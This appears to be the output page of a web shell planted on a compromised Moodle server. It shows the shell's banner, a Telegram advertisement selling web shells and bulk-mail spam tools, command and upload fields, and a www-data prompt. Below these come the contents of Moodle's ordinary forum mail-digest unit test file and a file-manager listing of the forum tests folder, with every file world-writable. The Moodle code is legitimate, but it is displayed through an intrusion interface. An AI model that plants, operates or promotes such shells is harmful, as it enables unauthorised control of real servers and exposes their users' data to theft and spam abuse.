__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_forum;

use mod_forum_tests_cron_trait;
use mod_forum_tests_generator_trait;

defined('MOODLE_INTERNAL') || die;

require_once(__DIR__ . '/cron_trait.php');
require_once(__DIR__ . '/generator_trait.php');

/**
 * The module forums external functions unit tests
 *
 * @package    mod_forum
 * @category   test
 * @copyright  2013 Andrew Nicols
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class maildigest_test extends \advanced_testcase {

    // Make use of the cron tester trait.
    use mod_forum_tests_cron_trait;

    // Make use of the test generator trait.
    use mod_forum_tests_generator_trait;

    /** @var \phpunit_message_sink */
    protected $messagesink;

    /** @var \phpunit_message_sink */
    protected $mailsink;

    /**
     * Set up message and mail sinks, and set up other requirements for the
     * cron to be tested here.
     */
    public function setUp(): void {
        global $CFG;
        parent::setUp();

        // Messaging is not compatible with transactions...
        $this->preventResetByRollback();

        // Catch all messages
        $this->messagesink = $this->redirectMessages();
        $this->mailsink = $this->redirectEmails();

        // Confirm that we have an empty message sink so far.
        $messages = $this->messagesink->get_messages_by_component('mod_forum');
        $this->assertEquals(0, count($messages));

        $messages = $this->mailsink->get_messages();
        $this->assertEquals(0, count($messages));

        // Tell Moodle that we've not sent any digest messages out recently.
        $CFG->digestmailtimelast = 0;

        // And set the digest sending time to a negative number - this has
        // the effect of making it 11pm the previous day.
        $CFG->digestmailtime = -1;

        // Forcibly reduce the maxeditingtime to a one second to ensure that
        // messages are sent out.
        $CFG->maxeditingtime = 1;

        // We must clear the subscription caches. This has to be done both before each test, and after in case of other
        // tests using these functions.
        \mod_forum\subscriptions::reset_forum_cache();
        \mod_forum\subscriptions::reset_discussion_cache();
    }

    /**
     * Clear the message sinks set up in this test.
     */
    public function tearDown(): void {
        $this->messagesink->clear();
        $this->messagesink->close();

        $this->mailsink->clear();
        $this->mailsink->close();
        parent::tearDown();
    }

    /**
     * Setup a user, course, and forums.
     *
     * @return stdClass containing the list of forums, courses, forumids,
     * and the user enrolled in them.
     */
    protected function helper_setup_user_in_course() {
        global $DB;

        $return = new \stdClass();
        $return->courses = new \stdClass();
        $return->forums = new \stdClass();
        $return->forumids = array();

        // Create a user.
        $user = $this->getDataGenerator()->create_user();
        $return->user = $user;

        // Create courses to add the modules.
        $return->courses->course1 = $this->getDataGenerator()->create_course();

        // Create forums.
        $record = new \stdClass();
        $record->course = $return->courses->course1->id;
        $record->forcesubscribe = 1;

        $return->forums->forum1 = $this->getDataGenerator()->create_module('forum', $record);
        $return->forumsids[] = $return->forums->forum1->id;

        $return->forums->forum2 = $this->getDataGenerator()->create_module('forum', $record);
        $return->forumsids[] = $return->forums->forum2->id;

        // Check the forum was correctly created.
        list ($test, $params) = $DB->get_in_or_equal($return->forumsids);

        // Enrol the user in the courses.
        // DataGenerator->enrol_user automatically sets a role for the user
        $this->getDataGenerator()->enrol_user($return->user->id, $return->courses->course1->id);

        return $return;
    }

    public function test_set_maildigest(): void {
        global $DB;

        $this->resetAfterTest(true);

        $helper = $this->helper_setup_user_in_course();
        $user = $helper->user;
        $course1 = $helper->courses->course1;
        $forum1 = $helper->forums->forum1;

        // Set to the user.
        self::setUser($helper->user);

        // Confirm that there is no current value.
        $currentsetting = $DB->get_record('forum_digests', array(
            'forum' => $forum1->id,
            'userid' => $user->id,
        ));
        $this->assertFalse($currentsetting);

        // Test with each of the valid values:
        // 0, 1, and 2 are valid values.
        forum_set_user_maildigest($forum1, 0, $user);
        $currentsetting = $DB->get_record('forum_digests', array(
            'forum' => $forum1->id,
            'userid' => $user->id,
        ));
        $this->assertEquals($currentsetting->maildigest, 0);

        forum_set_user_maildigest($forum1, 1, $user);
        $currentsetting = $DB->get_record('forum_digests', array(
            'forum' => $forum1->id,
            'userid' => $user->id,
        ));
        $this->assertEquals($currentsetting->maildigest, 1);

        forum_set_user_maildigest($forum1, 2, $user);
        $currentsetting = $DB->get_record('forum_digests', array(
            'forum' => $forum1->id,
            'userid' => $user->id,
        ));
        $this->assertEquals($currentsetting->maildigest, 2);

        // And the default value - this should delete the record again
        forum_set_user_maildigest($forum1, -1, $user);
        $currentsetting = $DB->get_record('forum_digests', array(
            'forum' => $forum1->id,
            'userid' => $user->id,
        ));
        $this->assertFalse($currentsetting);

        // Try with an invalid value.
        $this->expectException('moodle_exception');
        forum_set_user_maildigest($forum1, 42, $user);
    }

    public function test_get_user_digest_options_default(): void {
        global $USER, $DB;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $helper = $this->helper_setup_user_in_course();
        $user = $helper->user;
        $course1 = $helper->courses->course1;
        $forum1 = $helper->forums->forum1;

        // Set to the user.
        self::setUser($helper->user);

        // We test against these options.
        $digestoptions = array(
            '0' => get_string('emaildigestoffshort', 'mod_forum'),
            '1' => get_string('emaildigestcompleteshort', 'mod_forum'),
            '2' => get_string('emaildigestsubjectsshort', 'mod_forum'),
        );

        // The default settings is 0.
        $this->assertEquals(0, $user->maildigest);
        $options = forum_get_user_digest_options();
        $this->assertEquals($options[-1], get_string('emaildigestdefault', 'mod_forum', $digestoptions[0]));

        // Update the setting to 1.
        $USER->maildigest = 1;
        $this->assertEquals(1, $USER->maildigest);
        $options = forum_get_user_digest_options();
        $this->assertEquals($options[-1], get_string('emaildigestdefault', 'mod_forum', $digestoptions[1]));

        // Update the setting to 2.
        $USER->maildigest = 2;
        $this->assertEquals(2, $USER->maildigest);
        $options = forum_get_user_digest_options();
        $this->assertEquals($options[-1], get_string('emaildigestdefault', 'mod_forum', $digestoptions[2]));
    }

    public function test_get_user_digest_options_sorting(): void {
        global $USER, $DB;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $helper = $this->helper_setup_user_in_course();
        $user = $helper->user;
        $course1 = $helper->courses->course1;
        $forum1 = $helper->forums->forum1;

        // Set to the user.
        self::setUser($helper->user);

        // Retrieve the list of applicable options.
        $options = forum_get_user_digest_options();

        // The default option must always be at the top of the list.
        $lastoption = -2;
        foreach ($options as $value => $description) {
            $this->assertGreaterThan($lastoption, $value);
            $lastoption = $value;
        }
    }

    public function test_cron_no_posts(): void {
        global $DB;

        $this->resetAfterTest(true);

        // Initially the forum cron should generate no messages as we've made no posts.
        $expect = [];
        $this->queue_tasks_and_assert($expect);
    }

    /**
     * Sends several notifications to one user as:
     * * single messages based on a user profile setting.
     */
    public function test_cron_profile_single_mails(): void {
        global $DB;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $forum2 = $userhelper->forums->forum2;

        // Add 5 discussions to forum 1.
        $posts = [];
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // Add 5 discussions to forum 2.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum2, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 0, array('id' => $user->id));

        // Set the maildigest preference for forum1 to default.
        forum_set_user_maildigest($forum1, -1, $user);

        // Set the maildigest preference for forum2 to default.
        forum_set_user_maildigest($forum2, -1, $user);

        // No digests mails should be sent, but 10 forum mails will be sent.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 10,
                'digests' => 0,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $this->send_notifications_and_assert($user, $posts);
    }

    /**
     * Sends several notifications to one user as:
     * * daily digests coming from the user profile setting.
     */
    public function test_cron_profile_digest_email(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $forum2 = $userhelper->forums->forum2;
        $posts = [];

        // Add 5 discussions to forum 1.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // Add 5 discussions to forum 2.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum2, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 1, array('id' => $user->id));

        // Set the maildigest preference for forum1 to default.
        forum_set_user_maildigest($forum1, -1, $user);

        // Set the maildigest preference for forum2 to default.
        forum_set_user_maildigest($forum2, -1, $user);

        // No digests mails should be sent, but 10 forum mails will be sent.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 0,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $this->send_digests_and_assert($user, $posts);
    }

    /**
     * Send digests to a user who cannot view fullnames
     */
    public function test_cron_digest_view_fullnames_off(): void {
        global $DB, $CFG;

        $CFG->fullnamedisplay = 'lastname';
        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $posts = [];

        // Add 1 discussions to forum 1.
        list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
        $posts[] = $post;

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 1, array('id' => $user->id));

        // No digests mails should be sent, but 1 forum mails will be sent.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 0,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);
        $this->send_digests_and_assert($user, $posts);

        // The user does not, by default, have permission to view the fullname.
        $messages = $this->messagesink->get_messages_by_component('mod_forum');
        $messages = reset($messages);
        $messagecontent = $messages->fullmessage;

        // Assert that the expected name is present (lastname only).
        $this->assertStringContainsString(fullname($user, false), $messagecontent);

        // Assert that the full name is not present (firstname lastname only).
        $this->assertStringNotContainsString(fullname($user, true), $messagecontent);
    }

    /**
     * Send digests to a user who can view fullnames.
     */
    public function test_cron_digest_view_fullnames_on(): void {
        global $DB, $CFG;

        $CFG->fullnamedisplay = 'lastname';
        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $posts = [];
        assign_capability(
            'moodle/site:viewfullnames',
            CAP_ALLOW,
            $DB->get_field('role', 'id', ['shortname' => 'student']),
            \context_course::instance($course1->id)
        );

        // Add 1 discussions to forum 1.
        list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
        $posts[] = $post;

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 1, array('id' => $user->id));

        // No digests mails should be sent, but 1 forum mails will be sent.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 0,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);
        $this->send_digests_and_assert($user, $posts);

        // The user does not, by default, have permission to view the fullname.
        // However we have given the user that capability so we expect to see both firstname and lastname.
        $messages = $this->messagesink->get_messages_by_component('mod_forum');
        $messages = reset($messages);
        $messagecontent = $messages->fullmessage;

        // Assert that the expected name is present (lastname only).
        $this->assertStringContainsString(fullname($user, false), $messagecontent);

        // Assert that the full name is also present (firstname lastname only).
        $this->assertStringContainsString(fullname($user, true), $messagecontent);
    }

    /**
     * Sends several notifications to one user as:
     * * daily digests coming from the per-forum setting; and
     * * single e-mails from the profile setting.
     */
    public function test_cron_mixed_email_1(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $forum2 = $userhelper->forums->forum2;
        $posts = [];
        $digests = [];

        // Add 5 discussions to forum 1.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
            $digests[] = $post;
        }

        // Add 5 discussions to forum 2.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum2, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 0, array('id' => $user->id));

        // Set the maildigest preference for forum1 to digest.
        forum_set_user_maildigest($forum1, 1, $user);

        // Set the maildigest preference for forum2 to default (single).
        forum_set_user_maildigest($forum2, -1, $user);

        // One digest e-mail should be sent, and five individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 5,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $this->send_notifications_and_assert($user, $posts);
        $this->send_digests_and_assert($user, $digests);
    }

    /**
     * Sends several notifications to one user as:
     * * single e-mails from the per-forum setting; and
     * * daily digests coming from the per-user setting.
     */
    public function test_cron_mixed_email_2(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $forum2 = $userhelper->forums->forum2;
        $posts = [];
        $digests = [];

        // Add 5 discussions to forum 1.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
            $digests[] = $post;
        }

        // Add 5 discussions to forum 2.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum2, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 1, array('id' => $user->id));

        // Set the maildigest preference for forum1 to digest.
        forum_set_user_maildigest($forum1, -1, $user);

        // Set the maildigest preference for forum2 to single.
        forum_set_user_maildigest($forum2, 0, $user);

        // One digest e-mail should be sent, and five individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 5,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $this->send_notifications_and_assert($user, $posts);
        $this->send_digests_and_assert($user, $digests);
    }

    /**
     * Sends several notifications to one user as:
     * * daily digests coming from the per-forum setting.
     */
    public function test_cron_forum_digest_email(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $forum2 = $userhelper->forums->forum2;
        $fulldigests = [];
        $shortdigests = [];

        // Add 5 discussions to forum 1.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
            $fulldigests[] = $post;
        }

        // Add 5 discussions to forum 2.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum2, $user, ['mailnow' => 1]);
            $shortdigests[] = $post;
        }

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 0, array('id' => $user->id));

        // Set the maildigest preference for forum1 to digest (complete).
        forum_set_user_maildigest($forum1, 1, $user);

        // Set the maildigest preference for forum2 to digest (short).
        forum_set_user_maildigest($forum2, 2, $user);

        // One digest e-mail should be sent, and no individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $this->send_digests_and_assert($user, $fulldigests, $shortdigests);
    }

    /**
     * The digest being in the past is queued til the next day.
     */
    public function test_cron_digest_previous_day(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $forum2 = $userhelper->forums->forum2;
        $fulldigests = [];
        $shortdigests = [];

        // Add 1 discussions to forum 1.
        list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
        $fulldigests[] = $post;

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 1, array('id' => $user->id));

        // Set the digest time to midnight.
        $CFG->digestmailtime = 0;
        // One digest e-mail should be sent, and no individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $tasks = $DB->get_records('task_adhoc', ['component' => 'mod_forum']);
        $task = reset($tasks);
        $this->assertGreaterThanOrEqual(time(), $task->nextruntime);
    }

    /**
     * The digest being in the future is queued for today.
     */
    public function test_cron_digest_same_day(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $forum2 = $userhelper->forums->forum2;
        $fulldigests = [];
        $shortdigests = [];

        // Add 1 discussions to forum 1.
        list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
        $fulldigests[] = $post;

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 1, array('id' => $user->id));

        // Set the digest time to the future (magic, shouldn't work).
        $CFG->digestmailtime = 25;
        // One digest e-mail should be sent, and no individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $tasks = $DB->get_records('task_adhoc', ['component' => 'mod_forum']);
        $task = reset($tasks);
        $digesttime = usergetmidnight(time(), \core_date::get_server_timezone()) + ($CFG->digestmailtime * 3600);
        $this->assertLessThanOrEqual($digesttime, $task->nextruntime);
    }

    /**
     * Tests that if a new message is posted after the days digest time,
     * but before that days digests are sent a new task is created.
     */
    public function test_cron_digest_queue_next_before_current_processed(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $forum1 = $userhelper->forums->forum1;

        // Add 1 discussions to forum 1.
        $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);

        // Set the tested user's default maildigest setting.
        $DB->set_field('user', 'maildigest', 1, ['id' => $user->id]);

        // Set the digest time to the future (magic, shouldn't work).
        $CFG->digestmailtime = 25;
        // One digest e-mail should be sent, and no individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        // Set the digest time to midnight.
        $CFG->digestmailtime = 0;

        // Add another discussions to forum 1.
        $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);

        // One digest e-mail should be sent, and no individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        // There should now be two tasks queued.
        $tasks = $DB->get_records('task_adhoc', ['component' => 'mod_forum']);
        $this->assertCount(2, $tasks);

        // Add yet another another discussions to forum 1.
        $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);

        // One digest e-mail should be sent, and no individual notifications.
        $expect = [
            (object) [
                'userid' => $user->id,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        // There should still be two tasks queued.
        $tasks = $DB->get_records('task_adhoc', ['component' => 'mod_forum']);
        $this->assertCount(2, $tasks);
    }

    /**
     * The sending of a digest marks posts as read if automatic message read marking is set.
     */
    public function test_cron_digest_marks_posts_read(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Disable the 'Manual message read marking' option.
        $CFG->forum_usermarksread = false;

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $posts = [];

        // Set the tested user's default maildigest, trackforums, read tracking settings.
        $DB->set_field('user', 'maildigest', 1, ['id' => $user->id]);
        $DB->set_field('user', 'trackforums', 1, ['id' => $user->id]);
        set_user_preference('forum_markasreadonnotification', 1, $user->id);

        // Set the maildigest preference for forum1 to default.
        forum_set_user_maildigest($forum1, -1, $user);

        // Add 5 discussions to forum 1.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // There should be unread posts for the forum.
        $expectedposts = [
            $forum1->id => (object) [
                'id' => $forum1->id,
                'unread' => count($posts),
            ],
        ];
        $this->assertEquals($expectedposts, forum_tp_get_course_unread_posts($user->id, $course1->id));

        // One digest mail should be sent and no other messages.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 0,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $this->send_digests_and_assert($user, $posts);

        // Verify that there are no unread posts for any forums.
        $this->assertEmpty(forum_tp_get_course_unread_posts($user->id, $course1->id));
    }

    /**
     * The sending of a digest does not mark posts as read when manual message read marking is set.
     */
    public function test_cron_digest_leaves_posts_unread(): void {
        global $DB, $CFG;

        $this->resetAfterTest(true);

        // Enable the 'Manual message read marking' option.
        $CFG->forum_usermarksread = true;

        // Set up a basic user enrolled in a course.
        $userhelper = $this->helper_setup_user_in_course();
        $user = $userhelper->user;
        $course1 = $userhelper->courses->course1;
        $forum1 = $userhelper->forums->forum1;
        $posts = [];

        // Set the tested user's default maildigest, trackforums, read tracking settings.
        $DB->set_field('user', 'maildigest', 1, ['id' => $user->id]);
        $DB->set_field('user', 'trackforums', 1, ['id' => $user->id]);
        set_user_preference('forum_markasreadonnotification', 1, $user->id);

        // Set the maildigest preference for forum1 to default.
        forum_set_user_maildigest($forum1, -1, $user);

        // Add 5 discussions to forum 1.
        for ($i = 0; $i < 5; $i++) {
            list($discussion, $post) = $this->helper_post_to_forum($forum1, $user, ['mailnow' => 1]);
            $posts[] = $post;
        }

        // There should be unread posts for the forum.
        $expectedposts = [
            $forum1->id => (object) [
                'id' => $forum1->id,
                'unread' => count($posts),
            ],
        ];
        $this->assertEquals($expectedposts, forum_tp_get_course_unread_posts($user->id, $course1->id));

        // One digest mail should be sent and no other messages.
        $expect = [
            (object) [
                'userid' => $user->id,
                'messages' => 0,
                'digests' => 1,
            ],
        ];
        $this->queue_tasks_and_assert($expect);

        $this->send_digests_and_assert($user, $posts);

        // Verify that there are still the same unread posts for the forum.
        $this->assertEquals($expectedposts, forum_tp_get_course_unread_posts($user->id, $course1->id));
    }
}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
behat Folder 0777
event Folder 0777
generator Folder 0777
grade Folder 0777
h5p Folder 0777
privacy Folder 0777
search Folder 0777
backup_forum_activity_task_test.php File 5.12 KB 0777
builders_exported_posts_test.php File 21.87 KB 0777
cron_trait.php File 5.11 KB 0777
custom_completion_test.php File 10.04 KB 0777
dates_test.php File 3.01 KB 0777
entities_author_test.php File 2.24 KB 0777
entities_discussion_summary_test.php File 2.85 KB 0777
entities_discussion_test.php File 5.97 KB 0777
entities_forum_test.php File 6.43 KB 0777
entities_post_read_receipt_collection_test.php File 2.6 KB 0777
entities_post_test.php File 2.81 KB 0777
entities_sorter_test.php File 2.55 KB 0777
exporters_author_test.php File 5.54 KB 0777
exporters_discussion_test.php File 4.28 KB 0777
exporters_forum_test.php File 3.01 KB 0777
exporters_post_test.php File 22.28 KB 0777
externallib_test.php File 153.5 KB 0777
generator_test.php File 11.38 KB 0777
generator_trait.php File 6.1 KB 0777
lib_test.php File 185.86 KB 0777
local_container_test.php File 3.41 KB 0777
locallib_test.php File 2.36 KB 0777
mail_group_test.php File 8.64 KB 0777
mail_test.php File 63.22 KB 0777
maildigest_test.php File 30.88 KB 0777
managers_capability_test.php File 56.41 KB 0777
output_email_test.php File 6.88 KB 0777
portfolio_caller_test.php File 5.17 KB 0777
private_replies_test.php File 9.76 KB 0777
qanda_test.php File 5.27 KB 0777
rsslib_test.php File 3.42 KB 0777
subscriptions_test.php File 66.47 KB 0777
vaults_author_test.php File 2.66 KB 0777
vaults_discussion_list_test.php File 29.94 KB 0777
vaults_discussion_test.php File 4.79 KB 0777
vaults_forum_test.php File 5.73 KB 0777
vaults_post_attachment_test.php File 7.55 KB 0777
vaults_post_read_receipt_collection_test.php File 3.72 KB 0777
vaults_post_test.php File 53.89 KB 0777
Filemanager